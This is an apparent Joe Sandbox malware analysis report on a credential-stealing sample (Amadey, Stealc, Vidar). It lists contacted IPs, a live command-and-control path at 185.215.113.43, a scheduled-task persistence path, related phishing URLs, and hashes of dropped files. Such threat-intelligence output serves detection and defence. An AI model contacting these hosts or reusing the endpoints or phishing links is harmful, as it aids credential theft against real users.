IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.201.17	unknown	United States	20940	AKAMAI-ASN1EU	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
204.79.197.239	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.209.72.30	unknown	United States	20940	AKAMAI-ASN1EU	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.201.21	unknown	United States	20940	AKAMAI-ASN1EU	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
13.89.179.14	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.21.239	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.117.182.56	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.19.206	play.google.com	United States	15169	GOOGLEUS	false
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
108.139.47.33	unknown	United States	16509	AMAZON-02US	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
23.44.201.41	unknown	United States	20940	AKAMAI-ASN1EU	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
13.107.9.158	b-0005.b-dc-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.165.220.110	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1563707
Start date and time:	2024-11-27 11:13:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	37
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winEXE@76/296@26/31
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 216.58.208.227, 172.217.19.238, 74.125.205.84, 34.104.35.123, 172.217.21.35, 142.250.181.10, 142.250.181.42, 172.217.19.234, 142.250.181.74, 216.58.208.234, 172.217.19.10, 172.217.17.74, 142.250.181.106, 172.217.19.202, 172.217.17.42, 172.217.21.42, 192.229.221.95, 142.250.181.138, 13.107.42.16, 131.253.33.203, 13.107.22.239, 131.253.33.239, 13.87.96.169, 2.19.198.56, 23.32.238.138, 2.16.158.179, 2.16.158.27, 2.16.158.192, 2.16.158.176, 2.16.158.26, 2.16.158.34, 2.16.158.186, 2.16.158.33, 2.16.158.184, 172.165.69.228, 23.32.238.145, 23.32.238.161, 104.126.37.241, 2.19.198.225, 104.126.37.235, 2.19.198.224, 104.126.37.234, 104.126.37.240, 104.126.37.233, 2.19.198.226, 104.126.37.242, 2.16.158.169, 2.16.158.187, 13.74.129.1, 204.79.197.237, 13.107.21.237, 204.79.197.203, 84.201.208.72, 2.16.158.72, 2.16.158.59, 2.16.158.90, 2.16.158.88, 2.16.158.74, 2.16.158.91, 2.16.158.82, 2.16.158.81, 2.16.158.75, 142.251.32.99, 142.251.35.163, 142.250.80.99, 142.251
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, tse1.mm.bing.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, g.bing.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, wu-b-net.trafficmanager.net, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ss
Execution Graph export aborted for target DocumentsBFHDHJKKJD.exe, PID 8304 because it is empty
Execution Graph export aborted for target skotes.exe, PID 1672 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 6024 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
05:14:41	API Interceptor	149x Sleep call for process: file.exe modified
05:16:01	API Interceptor	122x Sleep call for process: skotes.exe modified
11:15:04	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	valid.sh.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	valid.sh.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	valid.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse	172.64.41.3
	http://img1.wsimg.com/blobby/go/fae029f6-27b1-4578-94bc-ae0bbaeebde4/downloads/buluxanitoteras.pdf	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	oIGNK22EVW.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	oIGNK22EVW.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
fg.microsoft.map.fastly.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.210.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.214.172
	CZxDiTktSY.exe	Get hash	malicious	XWorm	Browse	199.232.210.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.210.172
	phish_alert_sp2_2.0.0.0 (6).eml	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://storage.googleapis.com/windows_bucket1/turbo/download/TurboVPN_setup.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	ap4pkLeaVp.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	setup.exe	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	valid.sh.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	valid.sh.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
AKAMAI-ASN1EU	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	172.235.157.14
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	172.236.96.92
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	184.85.85.136
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.44.201.14
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	ppc.elf	Get hash	malicious	Mirai	Browse	172.232.16.202
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.44.201.31
MICROSOFT-CORP-MSN-AS-BLOCKUS	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	22.10.21.173
	https://zfrmz.com/mH78Gmbnl9SICcogz2hN	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	21.185.229.229
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	13.96.90.216
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	22.150.118.5
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	191.238.102.236
	test24.exe	Get hash	malicious	CobaltStrike	Browse	20.83.148.22
	test30.exe	Get hash	malicious	CobaltStrike	Browse	20.83.148.22
	test29.exe	Get hash	malicious	CobaltStrike	Browse	20.83.148.22
	test27.exe	Get hash	malicious	CobaltStrike	Browse	20.83.148.22

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://zfrmz.com/mH78Gmbnl9SICcogz2hN	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 172.202.163.200 13.107.246.63 20.190.147.10 23.218.208.109
	eInvoice.html	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 172.202.163.200 13.107.246.63 20.190.147.10 23.218.208.109
	https://hmrc.imicampaign.uk/seeemailinfull/EmailServlet?campaignkw=notrack&tid=cc-0_1732616321656385551&signature=B8C7164A14962A622D435A3DBF774C01	Get hash	malicious	Unknown	Browse	4.175.87.197 172.202.163.200 13.107.246.63 20.190.147.10 23.218.208.109
	Felix Paulpaymentsummary.pdf	Get hash	malicious	Unknown	Browse	4.175.87.197 172.202.163.200 13.107.246.63 20.190.147.10 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 172.202.163.200 13.107.246.63 20.190.147.10 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 172.202.163.200 13.107.246.63 20.190.147.10 23.218.208.109
	https://farhimzaman.com/file/Enquiry-Dubai.js	Get hash	malicious	Unknown	Browse	4.175.87.197 172.202.163.200 13.107.246.63 20.190.147.10 23.218.208.109
	https://u48346967.ct.sendgrid.net/ls/click?upn=u001.A0zc-2BEvyk1Wl-2FMpdhEZeKOri2-2FGgH2RTzsX65VEcnN5SaLyl0UT8OMFIJrPp3PpoUM6xY28FQ2N7ftppG5RudDteJXD3BQZCthiPi2c2ALFGlSPfhe-2FcxhcglgWUQb-2BQESuvSP1z-2Bm6yiScj3t94MRtf0LYKB9CrrSBugAIE2LYG8LmYpSkH60B-2FMZ3-2BrvjbSA4-2FMKq-2BcyWHr8EPqNcLYpXKIa0eXlisYAn-2BUQ7zduW7tl-2BbLdZxK7-2F64kDFJWjAhA5-2BQkfVJJJox5IXYuhbutR70TtJJBVXs1-2BGpCmHbl-2BDNTOjQhDGBdV0GcWgnTqzbjbnvsgf-2Be0TXvdX5Smk9Cf3e70Q9X7CCHEUK7n5Iz83JVMEOM-2Fand-2B23jD1RrWlwwdn356TAiWPO93YBbqf0SO77Y7wdjJ1b9FY9HkvpCMIajIk8oGDIkalcOsvDrkfpAsNhyAACh29yO16Fg-2FM5u3K-2FXbE9Ex7FVSxGjaaC9sm3ZFKCHARATSNuZ5Fje0JCvs-2FuHNf8MhNMkgfl0FBuxcFtouETvn8R0InFl5AtNwGS6Afu60jlKV5PLEF8GeumMl4Zuoh2K-2F2yPQclKc1crfKqXCOnUQUzOQ7UyIpV0r3b47s6ht1AVAEPjV3zoZw9RLpCyXdGkoI8n06eY007Qg9WwLvy7We-2BQcl-2FyYQ4K5CNcUfW8-2FQg9WDKExl17JZaFzhxAoq-2BwaUF-2FPSBbiheA-3D-3DBAmv_E3L6leNeSrsKdZRYtQjjvk8ZOa9A4bij2szZYlv-2FSjOyY2LntaIC9lc5AczVcItTKnTcAjLh0HEKnQNZyflE6D2HGcG26apaw7n2tC5VqvM2UcyzBBD1DmxfzE65759Zy2dJ8uKlh1aNRsyyyValZVTQcn3ni8Tm37DTh6WIc4MT5VT1z00HjpalKg-2FQrTWnFM0TODjZIrdPJoM-2FoAmEFGrVd3uzIi3Vm8WvNhqpICV52tAOwklitsI6ByucFBK-2BsrlwW-2FgoU27tpCzl3fnC5JTGLjtXLO9-2Bt5r0CYbrzB-2F0xJTEBuotaeZo6qxxL9cN-2FKBosiyqzpNH4Cne4lQAddsD-2FvJ0Im58HqPGOFTb8tDl6aWuSsL5FV7fR9m21jrZj6xA7xxwEw5vP2Nt9Lx-2Bme93lRMZkKLJTCm99brmPaqLiTfi3DxTe5oDBG0ABTPRcVak0527Q3qf5glAqALvLyUiHSqoHc-2FJNqek4r-2Bs-2Fwfxt-2BA4QX2uvYnIPHMWT1RYGd7IroaLDO1RX4MK6eaI1uJdhAEd3lhuoAFNeNiHC-2Btw63U82mukiSpX-2Bnt78RIS96K1hvN-2Foz75ylnzTx4GmLQYzrBep-2BOAgnFdhntVeyrWfFa0zVVEJiFU-2B4Kfw5TLRnbIsKobsRK0ccx4QN-2BAkLz9Rzb3z0yKFOSnlqtyA9G5Tz17Y8pL7d1O-2B27quYdAee3zh3g58o9-2BL03HRB8q3gVGJSBn2rE3QoChAnGf2N160-2BA80ZvI-2B-2BRJc5AuT-2BsalKvHdXJkJsxx4unFklKkuU5SiXjV185lbD9n8dsB20wicgj1k-2Bx7TXmuc2xuGqaWoejVggyHxHBRazdsLCgmn4rbKYq0oV6n3lfh5PyUXEE-3D	Get hash	malicious	Unknown	Browse	4.175.87.197 172.202.163.200 13.107.246.63 20.190.147.10 23.218.208.109
	https://cc.naver.com/cc?a=pst.link&m=1&nsc=Mblog.post&u=https://www.pyqabogados.com/nvdr/#z9Blg4PffR15rdjx3abrahaWPysq07vg4Prgg4PnWPyR15nLh6yukplz9Bjx3z9BR15WPy	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 172.202.163.200 13.107.246.63 20.190.147.10 23.218.208.109
	https://www.filemail.com/t/YJycry3G	Get hash	malicious	Unknown	Browse	4.175.87.197 172.202.163.200 13.107.246.63 20.190.147.10 23.218.208.109
6271f898ce5be7dd52b0fc260d0662b3	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.74.19.45
	GasProcessingPlantReportOfReceipts.xlsm	Get hash	malicious	Unknown	Browse	150.171.27.10 20.74.19.45
	CUVAs_ Closing Doc_ The Abram Law Group #RDZ-01.eml	Get hash	malicious	CredentialStealer, HTMLPhisher	Browse	150.171.27.10 20.74.19.45
	http://www.trilogyrez.com	Get hash	malicious	Unknown	Browse	150.171.27.10 20.74.19.45
	DOCUMENTS, COI - Trilogy Investment Company.eml	Get hash	malicious	CredentialStealer	Browse	150.171.27.10 20.74.19.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.74.19.45
	https://travefy.com/f/6ws9rqtq84rara2uwxzvc8hjmmdaewcwf2roW6mB3JM2YGhoH8iP8droW6mB3JM2YGhoH8iP8d	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10 20.74.19.45
	https://swast.group-login.com/login	Get hash	malicious	PIIGathering	Browse	150.171.27.10 20.74.19.45
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	150.171.27.10 20.74.19.45
	5QnwxSJVyX.doc	Get hash	malicious	Unknown	Browse	150.171.27.10 20.74.19.45
3b5074b1b5d032e5620f69f9f700ff0e	SERV27THNOVSCANNEDcopiesACCOUNT-SUMMARYcon3-2.vbs	Get hash	malicious	GuLoader, Remcos	Browse	20.198.119.143
	awb_shipping_post_27112024224782020031808174CN27112024000001124.vbs	Get hash	malicious	GuLoader, Remcos	Browse	20.198.119.143
	pay.bat	Get hash	malicious	Kimsuky	Browse	20.198.119.143
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.198.119.143
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.198.119.143
	Po-5865A.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	20.198.119.143
	https://www.gogetsy.com/downloads/eyJmaWxlX2lkIjoiMTIwMDY1NzY3MjE3NSIsInRyYW5zYWN0aW9uX2lkIjoiMzgyNDQ4NTYwOSIsImV2ZW50IjoiZG93bmxvYWQiLCJub25jZSI6IjY3M2NlODI0MTU2ZGQ2NzNjZTgyNDE1NmRmNjczY2U4MjQxNTZlMDY3M2NlODI0MTU2ZTEiLCJ0aW1lc3RhbXAiOjE3MzIwNDQ4MzZ9/0ff3c9f2d9eae28f5e9880589ecb55882049889393d1e096fca15f339c17e418	Get hash	malicious	Unknown	Browse	20.198.119.143
	ZipRipper.cmd	Get hash	malicious	Unknown	Browse	20.198.119.143
	CUVAs_ Closing Doc_ The Abram Law Group #RDZ-01.eml	Get hash	malicious	CredentialStealer, HTMLPhisher	Browse	20.198.119.143
	z51awb_shipping.cmd	Get hash	malicious	GuLoader, Remcos	Browse	20.198.119.143

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse
	vwkb5DQRAL.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse
	vwkb5DQRAL.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CAFBGHIDBGHJJKFHJDHCBKJDGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGIJJKEHCAKEGCAKJKEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGDHJEGIEBFHDGDGHDHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGCBAFCFIJJJECBGIIJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
